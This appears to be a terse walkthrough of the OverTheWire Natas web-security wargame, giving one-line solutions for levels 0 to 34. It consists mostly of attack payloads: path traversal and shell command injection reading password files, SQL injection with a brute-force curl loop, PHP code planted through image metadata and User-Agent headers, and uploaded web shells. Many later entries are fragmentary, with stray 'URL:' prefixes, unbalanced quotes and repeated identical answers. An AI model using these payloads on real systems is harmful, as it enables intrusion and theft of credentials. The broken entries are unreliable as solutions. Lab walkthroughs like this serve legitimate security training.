Level 0

No command needed.

Level 0 --> Level 1

No command needed.

Level 1 --> Level 2

No command needed.

Level 2 --> Level 3

URL: http://natas2.natas.labs.overthewire.org/files/users.txt

Level 3 --> Level 4

URL: http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

Level 4 --> Level 5

curl -u natas4:<password> -H "Referer: http://natas5.natas.labs.overthewire.org" http://natas4.natas.labs.overthewire.org

Level 5 --> Level 6

Edit cookies manually.

Set Cookie: loggedin = 1

Level 6 --> Level 7

URL: http://natas6.natas.labs.overthewire.org/includes/secret.inc

Level 7 --> Level 8

URL: http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas\_webpass/natas8

Level 8 --> Level 9

Decode the secret manually or with a small Python script.

Level 9 --> Level 10

; cat /etc/natas\_webpass/natas10

Level 10 → Level 11

test%0acat /etc/natas\_webpass/natas11

Level 11 --> Level 12

Python script to decode and modify cookie.

import base64

cookie = "HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg="

decoded = base64.b64decode(cookie)

print(decoded)

use cyberchef online tool to encode the password.

Level 12 --> Level 13

<?php echo file\_get\_contents("/etc/natas\_webpass/natas13"); ?>

Level 13 --> Level 14

exiftool -Comment='<?php echo file\_get\_contents("/etc/natas\_webpass/natas14"); ?>' image.jpg

Level 14 --> Level 15

natas14" OR "1"="1" --

Level 15 --> Level 16

natas16" AND password LIKE BINARY "a%" --

curl -u natas15:<password> "http://natas15.natas.labs.overthewire.org/?username=natas16\" AND password LIKE BINARY \"a%\" -- "

for c in {a..z} {A..Z} {0..9}; do

curl -s -u natas15:<password> "http://natas15.natas.labs.overthewire.org/?username=natas16\" AND password LIKE BINARY \"$c%\" -- " | grep -q "exists" && echo $c

Level 16 -->17

URL:http://natas16.natas.labs.overthewire.org/?needle=$(cat /etc/natas\_webpass/natas17)&submit=Search"

Level 17 -->18

URL:"http://natas17.natas.labs.overthewire.org/?username=natas18\"

Level 18 -->19

URL:"http://natas18.natas.labs.overthewire.org" -H Cookie: PHPSESSID=$session | grep -q "Password”

Level 19 -->20

URL:"http://natas19.natas.labs.overthewire.org" -H Cookie: PHPSESSID=$session | grep -q "Password"

Level 20 -->21

URL:"http://natas20.natas.labs.overthewire.org/?debug=1" -H

Cookie: PHPSESSID=123 --data "name=admin\nadmin 1"

Level 21 -->22

URL:"http://natas21.natas.labs.overthewire.org?debug=1" -H

Cookie: loggedin=1

Level 22 -->23

URL:"http://natas22.natas.labs.overthewire.org/?revelio=1" -v

Level 23 -->24

URL:"http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou" --data "submit=1"

Level 24 -->25

URL:"http://natas24.natas.labs.overthewire.org/" -H "User-Agent: <?php system('cat /etc/natas\_webpass/natas25'); ?>"

Level 25 -->26

URL:"http://natas25.natas.labs.overthewire.org/" -H "User-Agent: <?php system('cat /etc/natas\_webpass/natas26'); ?>"

Level 26 -->27

URL:"http://natas26.natas.labs.overthewire.org/" -H "User-Agent: <?php system('cat /etc/natas\_webpass/natas27'); ?>"

Level 27 -->28

URL:"http://natas27.natas.labs.overthewire.org/" --data "username=natas28\"#&password=any"

Level 28 -->29

URL:"http://natas28.natas.labs.overthewire.org/?username=natas29\"

Level 29-->30

URL:"http://natas29.natas.labs.overthewire.org/" --data "input=;cat /etc/natas\_webpass/natas30"

Level 30-->31

URL:"http://natas30.natas.labs.overthewire.org/" --data "username=natas31&password[]=x"

Level 31-->32

URL:"http://natas31.natas.labs.overthewire.org/" -F "file=@shell.php"

curl "http://natas31.natas.labs.overthewire.org/uploads/shell.php?cmd=cat+/etc/natas\_webpass/natas32"

Level 32 -->33

URL:"http://natas32.natas.labs.overthewire.org/" --data "input='\$(cat /etc/natas\_webpass/natas33)'"

Level 33-->34

URL:"http://natas33.natas.labs.overthewire.org/" -F "file=@shell.jpg"

curl "http://natas33.natas.labs.overthewire.org/uploads/shell.php.jpg?cmd=cat+/etc/natas\_webpass/natas34"